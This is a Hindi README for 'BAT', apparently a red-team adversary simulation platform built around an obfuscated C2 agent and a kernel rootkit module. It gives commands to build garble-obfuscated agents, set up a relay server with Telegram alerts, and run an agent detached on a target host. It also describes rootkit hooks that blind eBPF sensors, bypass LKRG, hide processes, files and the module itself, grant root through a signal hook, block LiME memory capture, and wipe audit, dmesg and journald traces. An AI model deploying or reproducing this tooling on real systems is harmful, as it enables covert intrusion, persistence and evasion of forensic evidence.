
कर्नेल-स्तरीय स्टील्थ, C2 बीकनिंग, विशेषाधिकार वृद्धि, क्रेडेंशियल हार्वेस्टिंग, लेटरल मूवमेंट, और आर्टिफैक्ट विनाश के साथ पूर्ण-स्पेक्ट्रम लिनक्स एडवर्सरी सिमुलेशन प्लेटफ़ॉर्म। रेड टीम संचालन और डिटेक्शन अनुसंधान के लिए डिज़ाइन किया गया।
BAT Linux और Windows के लिए एक यथार्थवादी, विकसित होता हुआ प्रतिद्वंद्वी खतरा मॉडल है। यह C2 फ्रेमवर्क नहीं है और न ही रूटकिट है। यह एक संपूर्ण खतरा सिमुलेशन प्लेटफ़ॉर्म है जो C2 संचार, कर्नेल-स्तरीय स्टील्थ रूटकिट मॉड्यूल, यूज़रस्पेस इवेज़न, विशेषाधिकार एस्केलेशन, पर्सिस्टेंस, प्रोसेस इंजेक्शन, क्रेडेंशियल हार्वेस्टिंग, एक्सफ़िल्ट्रेशन और लैटरल मूवमेंट को एक एकीकृत प्रतिद्वंद्वी में समाहित करता है। डिज़ाइन लक्ष्य 2026 में प्राप्त होने वाला सबसे परिष्कृत और यथार्थवादी Linux खतरा बनना है, चाहे वर्तमान में कोई भी डिटेक्शन प्रणाली इसे पकड़ती हो।
यह एक शोध जोड़ी का प्रतिद्वंद्वी पक्ष है। Aura फ्रेमवर्क Bat का पता लगाने के लिए विकसित होता है। Bat Aura से बचने के लिए विकसित होता है। प्रतिद्वंद्वी कभी भी डिटेक्टर द्वारा बाधित नहीं होता है।
apt install nasm gcc-x86_64-linux-gnu binutils-x86_64-linux-gnu golang-go go install mvdan.cc/garble@latest
### 2. कॉन्फ़िगर करें```bash
cp build.env.example build.env
nano build.env # RELAY_IP, SECRET, BAT_KEY, CDN_DOMAIN
एक सीक्रेट जनरेट करें: openssl rand -hex 16
./build.sh # garble agent (x86_64+arm64) + server (arm64) + netshell ./build.sh agent # agent only ./build.sh server # server arm64 only (EC2 / Mac M-series) ./build.sh server-amd64 # server x86_64 only (PC Intel/AMD) ./build.sh netshell # netshell only
बाइनरी `bin/` में आते हैं।
### 4. रिले को बूटस्ट्रैप करें```bash
# on the relay VPS (as root)
sudo bash -s -- --tg-token $TG_TOKEN --tg-chat-id $TG_CHAT_ID < relay/setup.sh
# from the operator machine
source build.env
relay/sync.sh ubuntu@$RELAY_IP --key $BAT_KEY --restart-kcc --tg
scp -i $BAT_KEY bin/netshell-v11-{x86_64,arm64} ubuntu@$RELAY_IP:/var/www/nexus/agents/
./bin/bat-server-v11-arm64 # tunnel starts automatically, no flags needed
लक्ष्य पर एक एजेंट तैनात करें:```bash
sudo setsid /path/to/bat-agent-v11-x86_64 </dev/null >/tmp/.log 2>&1 &
disown
एजेंट bat-server में एक बीकन अंतराल (डिफ़ॉल्ट 30s) के भीतर <agentID>@<hostname> के रूप में दिखाई देता है।
कर्नेल स्टील्थ लेयर (bat-stealth.ko, स्रोत kperf-qos/ में) सीधे Singularity के ऊपर बनाई गई है, जो एक उन्नत कर्नेल रूटकिट अनुसंधान ढांचा है। चार मुख्य मॉड्यूल पोर्ट और अनुकूलित किए गए:
bpf_hook: bpf(2) और सभी eBPF संचार प्रिमिटिव को इंटरसेप्ट करता है। किसी भी eBPF सेंसर को छिपे हुए PID के लिए शून्य टेलीमेट्री प्राप्त होती है। अनुकूलित: ARCH_SYS("bpf") केवल x86 वाले __x64_sys_bpf को प्रतिस्थापित करता है; __ia32_sys_bpf ARM64 के लिए हटाया गया; HIDDEN_PORT को sysfs-कॉन्फ़िगर करने योग्य ग्लोबल द्वारा प्रतिस्थापित किया गया।
hiding_fs: पूर्ण फ़ाइलसिस्टम विलोपन: getdents64/getdents फ़िल्टरिंग, stat/statx/newfstatat nlink समायोजन, openat/access/faccessat /proc/<pid> अवरोधन, chdir और readlink अवरोधन। पाँच Singularity मॉड्यूल (hiding_directory, hiding_stat, open, hiding_chdir, hiding_readlink) से विलय किया गया। अनुकूलित: REGS_ARGn मैक्रोज़ प्रत्यक्ष रजिस्टर एक्सेस को प्रतिस्थापित करते हैं; should_hide_path() रनटाइम-कॉन्फ़िगर bat_hidden_paths[] के लिए विस्तारित किया गया।
hide_module: bat-stealth.ko को सभी कर्नेल मॉड्यूल सूचियों से हटाता है। विस्तारित: Singularity पहले से list.prev सहेजता है; यह संस्करण list.prev और list.next दोनों को सहेजता है और दोनों दिशाओं में ट्रैवर्सल को रोकने के लिए दोनों को पॉइज़न करता है। प्रतिवर्ती निष्कासन के लिए module_unhide() जोड़ा गया, जो K-99 द्वारा delete_module(2) से मॉड्यूल को नाम से खोजने से पहले आवश्यक है।
lkrg_bypass: छिपे हुए प्रोसेस के लिए LKRG प्रवर्तन को दबाता है: छिपे हुए कार्यों के लिए SIGKILL को रोकने हेतु सिग्नल डिलीवरी को हुक करता है, LKRG लॉग संदेशों को हटाने के लिए vprintk_emit को हुक करता है, एजेंट निष्पादन के दौरान UMH सत्यापन को अक्षम करता है। सीधे बिना किसी आर्किटेक्चरल परिवर्तन के पोर्ट किया गया।
निम्नलिखित मॉड्यूल स्वतंत्र रूप से विकसित किए गए थे:
become_root: सिग्नल 59 हुक जो uid=0 (K-03) प्रदान करने के लिए commit_creds(prepare_kernel_cred(NULL)) को कॉल करता हैselfdefense: LiME मेमोरी अधिग्रहण को ब्लॉक करता है, kallsyms प्रविष्टियों को छुपाता है, एजेंट प्रतीकों पर kprobes को ब्लॉक करता है, किसी भी गणना प्रयास पर मॉड्यूल को फिर से छुपाता हैaudit: छिपे हुए PID के लिए auditd घटनाओं को दबाता हैsysrq_hook: टास्क डंप से छिपे हुए प्रोसेस को बाहर करने के लिए SysRq-T को इंटरसेप्ट करता हैtaskstats_hook: छिपे हुए PID के लिए NETLINK taskstats प्रतिक्रियाओं को फ़िल्टर करता हैreset_tainted + clear_taint_dmesg: /proc/sys/kernel/tainted को शून्य करता है और मॉड्यूल लोड सबूत वाली dmesg पंक्तियों को फ़िल्टर करता हैhooks_write: syslog या journald तक पहुँचने से पहले एजेंट स्ट्रिंग से मेल खाते लॉग प्रविष्टियों को हटाने के लिए सभी कर्नेल राइट पथ (write/splice/sendfile/tee + io_uring_enter/enter2 + ia32 compat) को इंटरसेप्ट करता हैpid_manager: चाइल्ड प्रोसेस में छिपे PID सेट को बनाए रखने के लिए fork tracepointपूरा स्टैक एजेंट और उसके सभी आर्टिफैक्ट को निम्न से अदृश्य बना देता है: ps, top, ss, netstat, lsof, छिपे हुए पथों पर फ़ाइलसिस्टम ट्रैवर्सल, lsmod, sysfs, kallsyms, auditd, सभी eBPF सेंसर, LKRG, LiME, और SysRq फोरेंसिक।